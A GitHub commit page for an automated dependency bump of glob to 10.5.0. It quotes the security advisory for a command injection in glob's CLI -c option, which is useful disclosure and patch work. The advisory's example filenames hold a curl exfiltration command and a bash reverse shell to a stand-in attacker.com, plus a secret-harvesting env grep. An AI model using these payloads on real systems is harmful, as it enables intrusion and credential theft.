Skip to content

Commit 52db3e5

Browse files
chore(deps): update dependency glob to v10.5.0 [security] (#468)
This PR contains the following updates: | Package | Change | Age | Confidence | |---|---|---|---| | [glob](https://redirect.github.com/isaacs/node-glob) | [`10.3.6` -> `10.5.0`](https://renovatebot.com/diffs/npm/glob/10.3.6/10.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/glob/10.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/10.3.6/10.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### [CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2) ### Summary The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. ### Details **Root Cause:** The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`: ```javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) ``` **Technical Flow:** 1. User runs `glob -c <command> <pattern>` 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using `shell: true` 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands **Affected Component:** - **CLI Only:** The vulnerability affects only the command-line interface - **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected - **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems) **Attack Surface:** - Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using `glob -c` on untrusted content ### PoC **Setup Malicious File:** ```bash mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' ``` **Trigger Vulnerability:** ```bash # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" ``` **Result:** - The echo command executes normally - **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell - A new file `injected_poc` is created, proving command execution - Any command can be injected this way with full user privileges **Advanced Payload Examples:** **Data Exfiltration:** ```bash # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ``` **Reverse Shell:** ```bash # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ``` **Environment Variable Harvesting:** ```bash # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ``` ### Impact **Arbitrary Command Execution:** - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network **Real-World Attack Scenarios:** **1. CI/CD Pipeline Compromise:** - Malicious PR adds files with crafted names to repository - CI pipeline uses `glob -c` to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering **2. Developer Workstation Attack:** - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use `glob -c` for file processing - Developer machine compromise with access to SSH keys, tokens, local services **3. Automated Processing Systems:** - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement **4. Supply Chain Poisoning:** - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems **Platform-Specific Risks:** - **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing - **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - **Mixed Environments:** CI systems often use Linux containers regardless of developer platform ### Affected Products - **Ecosystem:** npm - **Package name:** glob - **Component:** CLI only (`src/bin.mts`) - **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched) - **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option) - **Patched versions:** 11.1.0and 10.5.0 **Scope Limitation:** - **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe - **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable ### Remediation - Upgrade to `[email protected]`, `[email protected]`, or higher, as soon as possible. - If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead. - As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results. --- ### Release Notes <details> <summary>isaacs/node-glob (glob)</summary> ### [`v10.5.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0) ### [`v10.4.5`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.4...v10.4.5) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.4...v10.4.5) ### [`v10.4.4`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.3...v10.4.4) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.3...v10.4.4) ### [`v10.4.3`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.2...v10.4.3) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.2...v10.4.3) ### [`v10.4.2`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.1...v10.4.2) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.1...v10.4.2) ### [`v10.4.1`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.0...v10.4.1) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.0...v10.4.1) ### [`v10.4.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.16...v10.4.0) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.16...v10.4.0) ### [`v10.3.16`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.15...v10.3.16) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.15...v10.3.16) ### [`v10.3.15`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.14...v10.3.15) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.14...v10.3.15) ### [`v10.3.14`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.13...v10.3.14) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.13...v10.3.14) ### [`v10.3.13`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.12...v10.3.13) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.12...v10.3.13) ### [`v10.3.12`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.11...v10.3.12) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.11...v10.3.12) ### [`v10.3.11`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.10...v10.3.11) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.10...v10.3.11) ### [`v10.3.10`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.9...v10.3.10) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.9...v10.3.10) ### [`v10.3.9`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.8...v10.3.9) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.8...v10.3.9) ### [`v10.3.8`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.7...v10.3.8) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.7...v10.3.8) ### [`v10.3.7`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.6...v10.3.7) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.6...v10.3.7) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- ## Need help? You can ask for more help in the following Slack channel: #proj-renovate-self-hosted. In that channel you can also find ADR and FAQ docs in the Resources section. <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzkuMSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWVyZ2Utc2VjdXJpdHktdXBkYXRlIiwic2V2ZXJpdHk6Il19--> Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com> Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
1 parent 40e0c75 commit 52db3e5

File tree

2 files changed

+34
-28
lines changed

2 files changed

+34
-28
lines changed

package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,7 @@
6464
"eslint-plugin-prettier": "^5.0.0",
6565
"eslint-webpack-plugin": "^4.0.1",
6666
"fork-ts-checker-webpack-plugin": "^8.0.0",
67-
"glob": "10.3.6",
67+
"glob": "10.5.0",
6868
"identity-obj-proxy": "3.0.0",
6969
"jest": "^29.5.0",
7070
"jest-environment-jsdom": "^29.5.0",

yarn.lock

Lines changed: 33 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -4733,16 +4733,17 @@ glob-to-regexp@^0.4.1:
47334733
resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
47344734
integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
47354735

4736-
glob@10.3.6:
4737-
version "10.3.6"
4738-
resolved "https://registry.yarnpkg.com/glob/-/glob-10.3.6.tgz#c30553fe51dc19da30423c92cfcf15e433336058"
4739-
integrity sha512-mEfImdc/fiYHEcF6pHFfD2b/KrdFB1qH9mRe5vI5HROF8G51SWxQJ2V56Ezl6ZL9y86gsxQ1Lgo2S746KGUPSQ==
4736+
glob@10.5.0:
4737+
version "10.5.0"
4738+
resolved "https://registry.yarnpkg.com/glob/-/glob-10.5.0.tgz#8ec0355919cd3338c28428a23d4f24ecc5fe738c"
4739+
integrity sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==
47404740
dependencies:
47414741
foreground-child "^3.1.0"
4742-
jackspeak "^2.0.3"
4743-
minimatch "^9.0.1"
4744-
minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
4745-
path-scurry "^1.10.1"
4742+
jackspeak "^3.1.2"
4743+
minimatch "^9.0.4"
4744+
minipass "^7.1.2"
4745+
package-json-from-dist "^1.0.0"
4746+
path-scurry "^1.11.1"
47464747

47474748
glob@^7.1.3, glob@^7.1.4:
47484749
version "7.2.3"
@@ -5441,7 +5442,7 @@ istanbul-reports@^3.1.3:
54415442
html-escaper "^2.0.0"
54425443
istanbul-lib-report "^3.0.0"
54435444

5444-
[email protected], jackspeak@^2.0.3:
5445+
[email protected], jackspeak@^3.1.2:
54455446
version "2.1.1"
54465447
resolved "https://registry.yarnpkg.com/jackspeak/-/jackspeak-2.1.1.tgz#2a42db4cfbb7e55433c28b6f75d8b796af9669cd"
54475448
integrity sha512-juf9stUEwUaILepraGOWIJTLwg48bUnBmRqd2ln2Os1sW987zeoj/hzhbvRB95oMuS2ZTpjULmdwHNX4rzZIZw==
@@ -6072,18 +6073,18 @@ loose-envify@^1.0.0, loose-envify@^1.1.0, loose-envify@^1.2.0, loose-envify@^1.3
60726073
dependencies:
60736074
js-tokens "^3.0.0 || ^4.0.0"
60746075

6076+
lru-cache@^10.2.0:
6077+
version "10.4.3"
6078+
resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-10.4.3.tgz#410fc8a17b70e598013df257c2446b7f3383f119"
6079+
integrity sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==
6080+
60756081
lru-cache@^5.1.1:
60766082
version "5.1.1"
60776083
resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
60786084
integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==
60796085
dependencies:
60806086
yallist "^3.0.2"
60816087

6082-
"lru-cache@^9.1.1 || ^10.0.0":
6083-
version "10.0.1"
6084-
resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-10.0.1.tgz#0a3be479df549cca0e5d693ac402ff19537a6b7a"
6085-
integrity sha512-IJ4uwUTi2qCccrioU6g9g/5rvvVl13bsdczUUcqbciD9iLr095yj8DQKdObriEvuNSx325N1rV1O0sJFszx75g==
6086-
60876088
lz-string@^1.5.0:
60886089
version "1.5.0"
60896090
resolved "https://registry.yarnpkg.com/lz-string/-/lz-string-1.5.0.tgz#c1ab50f77887b712621201ba9fd4e3a6ed099941"
@@ -6232,10 +6233,10 @@ minimatch@^3.0.4, minimatch@^3.0.5, minimatch@^3.1.1, minimatch@^3.1.2:
62326233
dependencies:
62336234
brace-expansion "^1.1.7"
62346235

6235-
minimatch@^9.0.1:
6236-
version "9.0.3"
6237-
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.3.tgz#a6e00c3de44c3a542bfaae70abfc22420a6da825"
6238-
integrity sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==
6236+
minimatch@^9.0.4:
6237+
version "9.0.5"
6238+
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
6239+
integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
62396240
dependencies:
62406241
brace-expansion "^2.0.1"
62416242

@@ -6244,10 +6245,10 @@ minimist@^1.2.6:
62446245
resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c"
62456246
integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==
62466247

6247-
"minipass@^5.0.0 || ^6.0.2 || ^7.0.0":
6248-
version "7.0.4"
6249-
resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.0.4.tgz#dbce03740f50a4786ba994c1fb908844d27b038c"
6250-
integrity sha512-jYofLM5Dam9279rdkWzqHozUo4ybjdZmCsDHePy5V/PbBcVMiSZR97gmAy45aqi8CK1lG2ECd356FU86avfwUQ==
6248+
"minipass@^5.0.0 || ^6.0.2 || ^7.0.0", minipass@^7.1.2:
6249+
version "7.1.2"
6250+
resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.1.2.tgz#93a9626ce5e5e66bd4db86849e7515e92340a707"
6251+
integrity sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==
62516252

62526253
mkdirp@^0.5.6:
62536254
version "0.5.6"
@@ -6543,6 +6544,11 @@ p-try@^2.0.0:
65436544
resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
65446545
integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
65456546

6547+
package-json-from-dist@^1.0.0:
6548+
version "1.0.1"
6549+
resolved "https://registry.yarnpkg.com/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz#4f1471a010827a86f94cfd9b0727e36d267de505"
6550+
integrity sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==
6551+
65466552
pako@^2.0.4:
65476553
version "2.1.0"
65486554
resolved "https://registry.yarnpkg.com/pako/-/pako-2.1.0.tgz#266cc37f98c7d883545d11335c00fbd4062c9a86"
@@ -6614,12 +6620,12 @@ path-parse@^1.0.7:
66146620
resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
66156621
integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
66166622

6617-
path-scurry@^1.10.1:
6618-
version "1.10.1"
6619-
resolved "https://registry.yarnpkg.com/path-scurry/-/path-scurry-1.10.1.tgz#9ba6bf5aa8500fe9fd67df4f0d9483b2b0bfc698"
6620-
integrity sha512-MkhCqzzBEpPvxxQ71Md0b1Kk51W01lrYvlMzSUaIzNsODdd7mqhiimSZlr+VegAz5Z6Vzt9Xg2ttE//XBhH3EQ==
6623+
path-scurry@^1.11.1:
6624+
version "1.11.1"
6625+
resolved "https://registry.yarnpkg.com/path-scurry/-/path-scurry-1.11.1.tgz#7960a668888594a0720b12a911d1a742ab9f11d2"
6626+
integrity sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==
66216627
dependencies:
6622-
lru-cache "^9.1.1 || ^10.0.0"
6628+
lru-cache "^10.2.0"
66236629
minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
66246630

66256631
path-to-regexp@^1.7.0:

0 commit comments

Comments
 (0)